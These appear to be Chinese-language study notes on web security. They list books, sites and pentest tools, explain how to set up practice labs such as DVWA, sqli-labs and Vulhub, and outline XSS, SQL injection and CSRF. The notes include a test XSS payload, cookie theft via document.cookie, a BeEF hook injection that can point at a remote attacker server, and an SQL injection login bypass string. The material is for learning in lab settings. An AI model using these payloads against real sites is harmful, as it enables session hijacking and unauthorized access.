web安全
漏洞攻防学习
Web 漏洞包含哪一些主流的漏洞类型,最佳的参考就是 OWASP Top 10
1 | 1、注入:SQL、NoSQL 数据库注入,还有命令注入和 LDAP 注入等。 |
书籍清单
《JavaScript DOM 编程艺术》:https://item.jd.com/10603153.html
《JavaScript 高级程序设计》:https://item.jd.com/12958580.html
《PHP 和 MySQL Web 开发》:https://item.jd.com/10059047.html
《黑客攻防技术宝典:Web 实战篇》:https://item.jd.com/11020022.html
《白帽子讲 Web 安全》:https://item.jd.com/11483966.html
《Web 安全测试》:https://item.jd.com/10021008335997.html
《Web 前端黑客技术揭秘》:https://item.jd.com/11181832.html
《SQL 注入攻击与防御》:https://item.jd.com/12369984.html
网络安全从业者书单推荐:https://github.com/riusksk/secbook
网站推荐
FreeBuf:https://www.freebuf.com
Seebug Paper:https://paper.seebug.org
安全 RSS 订阅:http://riusksk.me/media/riusksk_RSS_20190330.xml
CTFTime Writeups:https://ctftime.org/writeups
SecWiki:https://www.sec-wiki.com
玄武每日安全:https://sec.today/pulses
学术论文检索:https://arxiv.org/search/cs
Exploit-db:https://www.exploit-db.com
Github:https://github.com
信息安全知识库:https://vipread.com
其他资料
HackerOne Hacktivity:https://hackerone.com/hacktivity
乌云公开漏洞、知识库搜索:https://wooyun.x10sec.org
知道创宇研发技能表:https://blog.knownsec.com/Knownsec_RD_Checklist/index.html
模块一:Web攻防基础
1、武器库:常用的渗透测试工具
Burp Suite:集成化的 Web 应用测试工具
在使用 Burp Suite 前需要配置浏览器代理,这样才能将 HTTP/HTTPS 请求转发到 Burp Suite 上进行分析与测试。
在 Chrome 的设置中搜索“代理”会让你选择“打开您计算机的代理设置”
打开之后就可以设置 HTTP/HTTPS 代理为 Burp Suite 的对应端口,默认为 127.0.0.1:8080
可以使用 Chrome 上的插件“Proxy SwitchyOmega”来快速切换代理
参考Burp Suite Document和Burp Suite 实战指南这两份资料学习
Acunetix WVS
Xray:Web 漏洞扫描器 参考资料: Xray_and_crwlergo_in_serve 、crawlergo_x_XRAY
Goby:基于网络空间测绘的漏洞扫描器 官方文档
SQLMap:SQL 注入检测与利用 官网
Nmap:网络扫描与主机检测 官方文档
Postman:模拟发包工具
对于 Postman 与 Burp Suite,轻量操作可以选择 Postman,比如单纯发包测试接口,又懒得配置代理的操作;如果你需要更多安全测试方面的功能,比如改包、批量发包测试用来暴力猜解密码或遍历信息,那么 Burp Suite 无疑是最佳的选择。
HackBar:安全测试插件
NC(NetCat):网络瑞士军刀
Metasploit:渗透测试平台 官方文档
2、信息收集:掌握目标的一切信息
主动收集是指通过扫描确认目标的操作系统和网络服务,为后续发现漏洞提供信息帮助,但它可能引起目标的注意,或被记录下扫描行为。一些服务指纹检测、网站爬虫都是主动收集的方式,它们直接向目标发起请求,在有防火墙的情况下,可能会被拦截告警。
被动收集是指在不接触目标的情况下,通过互联网搜索来收集目标遗留在网络中的信息。这样可以避免引起目标的警觉。网上很多人说的公开来源情报(Open-Source Intelligence,OSINT,简称“开源情报”)正是需要被动收集的信息,它是从公共资源中收集到的。
在操作系统Kali 和 Parrot中有相应的工具列表,你可以找到很多不错的工具。
介绍 6 个信息收集的方法,分别是子域名与 IP 收集、端口服务探测、网站指纹识别、旁站与 C 段查询、WAF 探测和敏感信息收集。
子域名与 IP 收集
bounty-targets-data GitHub 上一个开源项目
……
3、搭建漏洞练习环境
安装 sqli-labs 靶场
1 | sudo docker search sqli-labs |
1 | -d:代表后台运行 |
直接访问http://localhost,可以看到 sqli-labs 已经成功运行了。
点击“Setup/reset Database for labs”链接完成数据库的安装
安装 DVWA 靶场
DVWA(Damn Vulnerable Web Application)是一款比较著名的漏洞靶场
1 | sudo docker pull citizenstig/dvwa |
安装成功后,打开http://localhost
点击“Create/Reset Database”创建数据库
使用默认密码 admin/password 登录
安装 Pikachu 靶场
1 | sudo docker search pikachu |
CTF 赛题练习
CTF(Capture The Flag)夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF 起源于 1996 年 DEFCON 全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。发展至今,CTF 已经成为全球范围网络安全圈流行的竞赛形式。
各种国内外的赛事、题目与解答(write-up)都可通过该链接获取到,我在这里顺便也介绍几个现成的 Web 漏洞 CTF 在线练习环境:
1. XCTF 攻防世界:https://adworld.xctf.org.cn
2. SQL 注入挑战平台:http://redtiger.labs.overthewire.org
3. 韩国 Web 安全挑战平台:https://webhacking.kr/
4. Websec CTF 练习平台:http://www.websec.fr/
5. 网络信息安全攻防学习平台:http://hackinglab.cn/index.php
6. 国外的 XSS 挑战平台:http://prompt.ml/
安装 VulHub 真实漏洞靶场
Vulhub 是一款基于 Docker 和 docker-compose 的漏洞测试靶场,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。Vulhub 的项目开源地址为https://github.com/vulhub/vulhub。
1 | git clone https://github.com/vulhub/vulhub |
模块二:漏洞攻防案例
XSS(Cross-site Script,跨站脚本)漏洞无疑是最多见的
XSS 漏洞的分类
反射型 XSS
将攻击代码放在 URL 参数中,而不是存储到服务器,因此需要诱使用户点击才能触发攻击
以 DVWA 中的反射型 XSS 题目为例,通过向 name 参数输入以下代码即可触发漏洞
1 | <script>alert(1)</script> |
存储型 XSS
DOM 型 XSS
窃取 Cookie
通过 document.cookie 就可以访问到 Cookie
蠕虫攻击
一款非常著名的 XSS 攻击框架 BeEF
1 | $ git clone https://github.com/beefproject/beef |
我本地得到地址是:http://127.0.0.1:3000/hook.js(实际攻击时,可将 127.0.0.1 替换成你的远程服务器地址),那我就可以在漏洞页面插入如下代码进行利用:
1 | <script>http://127.0.0.1:3000/hook.js</script> |
SQL 注入
万能密码: ‘or’1’=’1
sqlmap
什么是 CSRF 漏洞
- CSRF 读:通过伪造请求来获取返回的敏感信息,比如用户资料;常见的就是 JSON 劫持(详见下文),以及利用 Flash API 加载页面获取敏感信息。由于浏览器已经默认禁止 Flash,我就不介绍 Flash CSRF 的攻击手法了。
- CSRF 写:通过伪造请求去修改网站数据,比如修改密码、发表文章、发送消息等操作。